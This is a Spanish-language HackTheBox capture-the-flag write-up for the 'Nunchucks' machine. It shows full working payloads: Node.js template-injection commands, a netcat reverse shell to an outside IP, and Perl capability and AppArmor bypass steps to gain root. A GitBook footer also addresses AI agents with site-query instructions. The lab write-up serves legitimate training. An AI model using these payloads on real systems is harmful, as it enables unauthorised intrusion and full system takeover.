> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# Resolución de HackTheBox Nunchucks

{% hint style="warning" %}
**Habilidades:**

* NodeJS SSTI (inyección de plantillas del lado del servidor)
* Evasión del perfil de AppArmor (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/63b41c8f4a9491f47cb86e6199ef7b4d05da966c" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/24fd15c0aefea7421d36725a6662fba8326676da" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/0f17bd36cc23880a5cc076f2e8a3bf335e4e0bf6" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:** Usando la función extractport para mostrar sintéticamente los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/4a67e785c706c8d0465d400654464d3275679218" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:** Usando Nmap para escanear la versión de los puertos y extraer la información al archivo "targeted":

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/3f6c627c970c1d570342ae435702c4e318e43a44" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/6654c33bec7bd5a259c3fa27ff859082e7e3aa0c" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 443 - HTTPS

<figure><img src="/files/4f507e5e6333d7e58dc4d842624e6de6002386b2" alt=""><figcaption></figcaption></figure>

Encontramos un panel de inicio de sesión, pero no hay credenciales conocidas.

<figure><img src="/files/3a8d4f4af2060e446cfa7cdb25e999948344bce3" alt="" width="563"><figcaption></figcaption></figure>

### Fuzzing de VHost - Gobuster

Realizamos **fuzzing** de subdominios para identificar posibles servicios ocultos:

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/3eea6c4ef207ae7b7c7ef68c95eef28cb0c29e05" alt=""><figcaption></figcaption></figure>

Encontramos el subdominio **store.nunchucks.htb**.

<figure><img src="/files/9382dba6dccf1c02e2c4315065c4e9bc53e30d99" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad SSTI (Node.js)

Observamos una funcionalidad que permite introducir un correo electrónico para suscribirse a un boletín. La respuesta del servidor muestra directamente nuestra entrada, lo que sugiere una posible **Inyección de plantillas del lado del servidor (SSTI)**.

<figure><img src="/files/cb960eca028ca7c886ba5250da35167780028078" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/91b6d91c1fa56b29dfa0fd8d8d8fee89dc569ec8" alt=""><figcaption></figcaption></figure>

#### Prueba de vulnerabilidad

Interceptamos la solicitud con **Burp Suite** y probamos un SSTI clásico:

<figure><img src="/files/69bb496bfa0c688c94621a4bf73e8b72ecb27cfc" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

Si la respuesta muestra `81`, entonces la aplicación es vulnerable, que es el caso aquí.

<figure><img src="/files/e59819666ba6847002dc4c601609756b42a5555c" alt=""><figcaption></figcaption></figure>

### Lectura `/etc/passwd`

Usamos el siguiente payload para mostrar el contenido de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/cf62286c792e8f70d1ad3b052cfe39ab0b7d251e" alt=""><figcaption></figcaption></figure>

#### Obtención del usuario actual

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

Obtenemos `david`.

<figure><img src="/files/0f4f547ffd6100def6062cd72ecbceaf17ba3062" alt=""><figcaption></figcaption></figure>

### Shell inversa mediante SSTI (Node.js)

Iniciando escucha en el puerto **4444**:

```bash
nc -nlvp 4444
```

Enviamos el payload de reverse shell:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

Acceso a la máquina objetivo

<figure><img src="/files/784c8f8e416f5368016fafdd68c134d04a6d77e7" alt=""><figcaption></figcaption></figure>

### Bandera user.txt

<figure><img src="/files/99084aca38e1aa78dd492a8c6f502eabd972dabc" alt="" width="517"><figcaption></figcaption></figure>

#### Estabilización de la terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilegiosS

### Explotación de **Capacidades** en Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

Listamos los **capacidades** disponibles:

```bash
getcap -r / 2>/dev/null
```

Observamos que `perl` tiene permisos especiales.

<figure><img src="/files/80c0ea7f4e7a7064d55a961178a7b9b9e2855ba7" alt=""><figcaption></figcaption></figure>

**Ejecutando un comando como root**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

Obtenemos **root**.

<figure><img src="/files/a9178421b2a780979be08784a4bb7b21635a0961" alt=""><figcaption></figcaption></figure>

### Evasión de AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/8c48ae032f913c69fd0cea8f62f0a4c3b2e31e4a" alt=""><figcaption></figcaption></figure>

El `/usr/bin/perl` el binario está restringido por **AppArmor**

<figure><img src="/files/9ddf73ef22700e5d4807033f67ea186cc871ec74" alt=""><figcaption></figcaption></figure>

Explotamos un conocido [error de AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431) para eludir la restricción creando un script:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/db258f9776b94312ae01c6eca754ed216e9977be" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/65f8adcec040897dc46ea6cf1dab4d1b5adb7a1a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe3ca8747efa862c2cfb34ae02f7b16a4a081c24" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
